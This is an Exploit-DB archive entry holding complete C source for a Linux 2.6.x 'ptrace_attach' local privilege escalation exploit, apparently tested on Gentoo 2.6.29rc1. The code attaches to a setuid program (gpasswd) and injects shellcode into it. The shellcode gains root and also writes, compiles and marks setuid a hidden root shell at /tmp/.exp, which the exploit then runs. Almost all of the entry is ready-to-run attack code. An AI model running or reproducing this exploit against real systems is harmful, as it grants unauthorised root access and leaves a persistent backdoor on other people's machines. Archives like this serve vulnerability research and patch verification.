Linux Kernel 2.6.x (Gentoo 2.6.29rc1) - 'ptrace_attach' Local Privilege Escalation

EDB-ID:

8673


Author:

s0m3b0dy

Type:

local


Platform:

Linux

Date:

2009-05-13


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/*
ptrace_attach privilege escalation exploit by s0m3b0dy

[*] tested on Gentoo 2.6.29rc1

grataz:
Tazo, rassta, nukedclx, maciek, D0hannuk, mivus, wacky, nejmo, filo...

email: s0m3b0dy1 (at) gmail.com
*/

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
char shellcode[] =
"\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99" 
"\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff"
"echo \"#include <stdio.h>\nmain(){setuid(0);if(getuid()==0) printf(\\\"r00teed!\\n\\\");execv(\\\"/bin/bash\\\",0);return 0;}\" > /tmp/.exp.c;gcc /tmp/.exp.c -o /tmp/.exp;rm /tmp/.exp.c;chmod +s /tmp/.exp;exit;";
struct user_regs_struct322 {
        unsigned long ebx, ecx, edx, esi, edi, ebp, eax;
        unsigned short ds, __ds, es, __es;
        unsigned short fs, __fs, gs, __gs;
        unsigned long orig_eax, eip;
        unsigned short cs, __cs;
        unsigned long eflags, esp;
        unsigned short ss, __ss;
};

main()
{
struct user_regs_struct322  regs;
struct stat buf;
int i,o;
unsigned long * src;
unsigned long * dst;
char *env[2];
env[0]="/usr/bin/gpasswd";  // some suid file
env[1]=0;
if((o=fork()) == 0)
{
execve(env[0],env,0);
exit(0);
}
if(ptrace(PTRACE_ATTACH,o,0,0)==-1)
{
printf("\n[-] Attach\n");
exit(0);
}
 wait((int *)0);
if (ptrace(PTRACE_GETREGS, o, NULL, &regs) == -1){
                printf("\n[-] read registers\n");
		exit(0);
}
printf( "[+] EIP - 0x%08lx\n", regs.eip);
dst= (unsigned long *) regs.eip;
src = (unsigned long *) shellcode;
for(i=0;i<sizeof(shellcode) -1;i+=4)
if (ptrace(PTRACE_POKETEXT, o, dst++, *src++) == -1){
                       printf("\n[-] write shellcode\n");
			exit(0);
}
ptrace(PTRACE_CONT, o, 0, 0);
ptrace(PTRACE_DETACH,o,0,0);
printf("[+] Waiting for root...\n");
sleep(2);
if(!stat("/tmp/.exp",&buf))
{
printf("[+] Executing suid shell /tmp/.exp...\n"); 
execv("/tmp/.exp",0);
}
else
{
printf("[-] Damn no r00t here :(\n");
}
return 0;
}

// milw0rm.com [2009-05-13]